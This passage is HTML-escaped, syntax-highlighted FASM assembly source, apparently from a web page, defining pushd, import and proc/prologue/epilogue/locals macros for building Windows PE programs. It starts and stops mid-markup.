51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; match &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; var&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;opcode&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;address&lt;br /&gt;  virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;address &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; var&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;address&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;   load &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;opcode from &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;opcode = &lt;span style="color: rgb(0, 0, 255);"&gt;0A1h&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; var&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;address&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; match &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; =double &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; match &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; =double =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;ptr&lt;/span&gt; var&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; match &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; =double num&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;high&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;low&lt;/span&gt;&lt;br /&gt;  virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt; num&lt;br /&gt;   load &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;low&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; from &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   load &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;high&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; from &lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;high&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;low&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; match &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; value eqtype &lt;span style="color: rgb(127, 0, 127);"&gt;''&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; value&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; value&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; restore &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;allow_nesting&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; import lib&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;functions&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; import_#lib \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; import lib&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;functions \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;format pe  gui &lt;span style="color: rgb(0, 0, 255);"&gt;4.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;args&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;                       &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; define procedure&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   match &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt; params&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; args&amp;gt;&lt;br /&gt;   \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; define@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&amp;lt;params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;prologue&lt;/span&gt;@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; equ prologuedef&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; prologuedef procname&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;flag&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;reglist&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; parmbytes | localbytes&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebp&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esp&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; localbytes&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  irps reg&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; reglist \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; reg \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;epilogue&lt;/span&gt;@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; equ epiloguedef&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; epiloguedef procname&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;flag&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;reglist&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; irps reg&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; reglist \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; reverse &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; reg \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; parmbytes | localbytes&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;leave&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; flag &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;and&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;10000b&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;retn&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;retn&lt;/span&gt; parmbytes&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; define@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;statement&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; params&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;flag&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;regs&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;current&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; used &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; args&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; statement \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; params equ args&lt;br /&gt;                                    flag = &lt;span style="color: rgb(0, 0, 255);"&gt;11b&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; statement \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; params equ&lt;br /&gt;                               flag = &lt;span style="color: rgb(0, 0, 255);"&gt;11b&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;c&lt;/span&gt; args&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; statement \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; params equ args&lt;br /&gt;                              flag = &lt;span style="color: rgb(0, 0, 255);"&gt;10001b&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;c&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; statement \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; params equ&lt;br /&gt;                         flag = &lt;span style="color: rgb(0, 0, 255);"&gt;10001b&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =params&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; params equ statement&lt;br /&gt;                           flag = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; ebp&lt;span style="color: rgb(0, 0, 255);"&gt;+8&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;uses&lt;/span&gt; reglist=&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;args&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; regs equ reglist&lt;br /&gt;                                       params equ args \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =regs =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;uses&lt;/span&gt; reglist&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; regs params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; regs equ reglist&lt;br /&gt;                                            params equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =regs&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; regs \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; regs equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;args&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; defargs@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; args \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  match =args@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; args&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; args@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; params \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; defargs@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; args \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  parmbytes = $ &lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;ebp&lt;span style="color: rgb(0, 0, 255);"&gt;+8&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt; # &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt; = parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars equ&lt;br /&gt;  current = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  match &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;prologue&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;reglist&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;prologue&lt;/span&gt;@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&amp;lt;regs&amp;gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;prologue&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;flag&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;reglist \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; locals&lt;br /&gt;  \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;current&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); 